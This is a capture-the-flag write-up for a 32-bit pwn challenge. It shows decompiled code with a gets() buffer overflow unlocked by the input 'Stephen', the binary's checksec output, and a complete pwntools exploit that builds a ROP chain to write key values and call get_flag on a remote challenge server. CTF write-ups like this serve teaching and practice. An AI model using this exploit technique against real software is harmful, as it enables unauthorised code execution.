Tags: bof pwn 

Rating:

Challenge has a function room4 which can be called up from the main menu with item 4.
Here is the code snippet of the main function from Ghidra:

```C
if (cVar1 == '3') {
if (isInRoom1 == '\0') {
if (isInRoom2 == '\0') {
if (isInRoom3 == '\0') {
if (isInRoom4 == '\0') {
puts("You aren\'t in a room!!");
}
else {
room4();
}
}
else {
puts("Have you tried ALL the options?");
}
}
else {
puts("Hola como estas esta habitación es español");
}
}
else {
puts("Hello, this is just a plain old room. Poke around the others");
}
```

As we can see from the main menu, only one room4 function is called. Let's take a look at her code:

```C
puts("Wow this room is special. It echoes back what you say!");
while( true ) {
if (unlockHiddenRoom4 != '\0') {
puts("Welcome to the hidden room! Good Luck");
printf("Enter something: ");
gets(pos_bof);
return;
}
printf("Press Q to exit: ");
fgets(input,0x10,stdin);
remove_newline(input);
printf("\tYou entered \'%s\'\n",input);
iVar1 = strcmp(input,"Q");
if (iVar1 == 0) break;
iVar1 = strcmp(input,"Stephen");
if (iVar1 == 0) {
unlockHiddenRoom4 = '\x01';
}
}
return;
```

Posible buffer overflow here.
Lets check security first

```bash
auctf$ checksec challenge
[*] '/auctf/challenge'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
```

The stack is not executable, so we use the ROP chain for exploitation
Here is the finished code of exploit

```python
from pwn import *

#current=process("./challenge")
current=remote("157.245.252.113",30012)
e=ELF("./challenge")
#gdb.attach(current,'''
#set disassembly-flavor intel
#b get_flag
#b *0x565568e4
#''')
base=0x56555000#because ASLR disable static base of binary
current.sendlineafter("Your choice: ",str(2))
current.sendlineafter("Choose a room to enter: ",str(4))
current.sendlineafter("Your choice: ",str(3))
current.sendlineafter("Press Q to exit: ","Stephen")
ebp=0xffffd6a8#old ebp because we overwrite ebp on the stack
rop=b''
rop+=p32(base+0x0000101e)#pop ebx ; ret
rop+=p32(base+0x4000)#base for libc call
#used to calculate the address of imported characters, on this case gets
rop+=p32(base+0x1050)#gets
#JMP dword ptr [0x14 + EBX]=>gets
rop+=p32(base+0x19d0)#pop edi ; pop ebp ; ret
#Because gets for some reason takes as an argument a variable in the stack through one and interprets the next as a return address, which does not allow to use gets twice in a row
#Therefore it is here
rop+=p32(base+e.symbols[b'key1'])#key1 addr
#gets(key1)->pop edi; pop ebp; ret->gets(key3)->get_flag()
rop+=p32(ebp)#ebp
rop+=p32(base+0x1050)#gets
rop+=p32(base+e.symbols[b'get_flag'])
rop+=p32(base+e.symbols[b'key3'])#key1 addr
current.sendlineafter("Enter something: ",b"A"*24+p32(ebp)+rop)#send payload
current.send(b"\x01\x01"+p32(0x616e6765)+p32(0x537472)+b'\n')#send data to key1,key2 and key4
current.send(p32(0x56557415)+b'\n')#send data to key3
current.interactive()
```